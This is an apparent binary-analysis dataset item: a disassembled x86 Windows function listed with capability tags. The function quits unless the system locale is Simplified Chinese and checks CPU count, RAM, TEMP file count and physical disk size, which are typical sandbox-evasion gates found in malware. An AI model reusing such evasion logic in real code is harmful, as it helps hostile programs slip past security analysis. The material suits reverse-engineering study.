Function at 0x4011c0
Capabilities:
Enumerate files on windows
Get disk size
Get memory capacity
Get system information on windows
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402b0d
mov eax, dword fs:[0]
push eax
sub esp, 0x194
mov eax, dword [0x405004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
movzx eax, ax
mov ecx, 0x804
cmp ax, cx
je 0x401209
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [ebp - 0x30], 3
jge 0x401221
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
lea eax, [ebp - 0x60]
mov dword [ebp - 0x60], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
cmp dword [ebp - 0x54], 0
ja 0x40124b
jb 0x401243
cmp dword [ebp - 0x58], 0xfff8d001
jae 0x40124b
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push 0x1000
xor esi, esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov edi, eax
push 0x1000
push edi
push str.TEMP
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ecx, edi
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], 0xf
mov byte [ebp - 0x38], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401284
sub ecx, edx
push ecx
push edi
lea ecx, [ebp - 0x38]
call fcn.00401a50
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x24]
mov eax, edx
mov ecx, dword [ebp - 0x28]
sub eax, ecx
cmp eax, 2
jb 0x4012cd
lea eax, [ecx + 2]
cmp edx, 0x10
mov dword [ebp - 0x28], eax
mov edx, 0x2a5c
lea eax, [ebp - 0x38]
cmovae eax, dword [ebp - 0x38]
mov word [eax + ecx], dx
mov byte [eax + ecx + 2], 0
jmp 0x4012e1
push 2
push ecx
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x38]
push dword [ebp - 0x14]
push 2
call fcn.00401b90
cmp dword [ebp - 0x24], 0x10
lea ecx, [ebp - 0x1a0]
lea eax, [ebp - 0x38]
cmovae eax, dword [ebp - 0x38]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x401201
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
nop dword [eax + eax]
lea eax, [ebp - 0x1a0]
inc esi
push eax
push edi
call ebx
test eax, eax
jne 0x401310
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp esi, 0x1e
jl 0x401201
mov ecx, dword [ebp - 0x24]
cmp ecx, 0x10
jb 0x401365
mov edx, dword [ebp - 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40135b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40135b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00401cfb
add esp, 8
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4013b6
push str.Error
call fcn.00401010
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00401ced
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 0x14]
push eax
push 8
lea eax, [ebp - 0x20]
push eax
push 0
push 0
push 0x7405c
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x40000000
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
call fcn.00402a40
test edx, edx
jg 0x40139a
jl 0x4013f6
cmp eax, 0x3c
jae 0x40139a
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3